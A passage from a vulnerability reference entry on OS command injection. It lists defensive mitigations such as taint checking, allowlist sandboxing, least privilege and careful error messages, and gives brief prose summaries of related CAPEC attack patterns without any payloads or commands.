- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.